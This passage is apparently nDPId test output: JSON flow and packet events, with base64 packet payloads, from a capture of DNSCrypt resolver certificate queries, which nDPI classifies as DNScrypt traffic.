AAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":489,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":45682,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":490,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":46826,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQBYcAuX4RC\/UKAAABi2PeSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":490,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":491,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":59400,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":203,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":491,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":46859,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcBYlAAH4Ryt8KAAABi2PeSOgIIPsCCCyCmlUBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAAAcgADAHEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":491,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":59400,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":492,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":49796,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":204,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":492,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":46881,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcBYogAH4R5x4KAAABi2PeSMKEIPsGBMwAmlgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":492,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":1,"flow_first_seen":946739391046,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.99.222.72","src_port":49796,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":493,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":46903,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQBYoAuX4RC\/IKAAABi2PeSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":493,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00668{"flow_id":202,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":494,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":306378,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSWtFAACoRyuGLY95ICgAAASD7snIAvm5FmleBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAAR0hTbelwStbUvrsyN4TMcjd6ciaJLWS\/+lAjdb\/qhY\/GqLYEoO6rv\/+JZlrPe5rwefrjN2pIualeqx6XQ1AD9Zj2kPVDPuO2VaFeIl38Qe5+u3sSCCBiqzaCgrP\/G5+1mPaQ9UM+44AAAABX1NQIl9UoaI="} +00668{"flow_id":199,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":495,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":308620,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSWtNAACoRyt+LY95ICgAAASD7xakAvlsMmlmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAAR0hTbelwStbUvrsyN4TMcjd6ciaJLWS\/+lAjdb\/qhY\/GqLYEoO6rv\/+JZlrPe5rwefrjN2pIualeqx6XQ1AD9Zj2kPVDPuO2VaFeIl38Qe5+u3sSCCBiqzaCgrP\/G5+1mPaQ9UM+44AAAABX1NQIl9UoaI="} +00668{"flow_id":203,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":496,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739391,"pkt_ts_usec":308868,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSWtJAACoRyuCLY95ICgAAASD76AgAvjixmlWBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANkbnMEc2VieQJpbwAAEAABwAwAEAABAABwgAB9fEROU0MAAgAAAR0hTbelwStbUvrsyN4TMcjd6ciaJLWS\/+lAjdb\/qhY\/GqLYEoO6rv\/+JZlrPe5rwefrjN2pIualeqx6XQ1AD9Zj2kPVDPuO2VaFeIl38Qe5+u3sSCCBiqzaCgrP\/G5+1mPaQ9UM+44AAAABX1NQIl9UoaI="} +00499{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":497,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":1,"flow_first_seen":946739396047,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":48300,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":205,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":497,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":47770,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIclEJAAH4RqpMKAAABkFtq47ysAbsCCL4UZl4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAQAAAAAAAAAAAAHHAAwBwwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00529{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":497,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":1,"flow_first_seen":946739396047,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":48300,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":498,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":1,"flow_first_seen":946739396047,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":41108,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":206,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":498,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":47802,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXclEMgAH4RxtIKAAABkFtq46CUAbsGBGABZlsBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":498,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":1,"flow_first_seen":946739396047,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":41108,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":499,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":47813,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQlEMAuX4R66UKAAABkFtq4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":499,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00503{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":500,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":1,"flow_first_seen":946739396047,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":48237,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":207,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":500,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":47817,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXclEQgAH4RxtEKAAABkFtq47xtAbsGBEQqZlkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdANvbmUAABAAAQAAAAAAAAAAAAXDAAwFvwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00533{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":500,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":1,"flow_first_seen":946739396047,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"144.91.106.227","src_port":48237,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":501,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739396,"pkt_ts_usec":47828,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQlEQAuX4R66QKAAABkFtq4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":501,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} 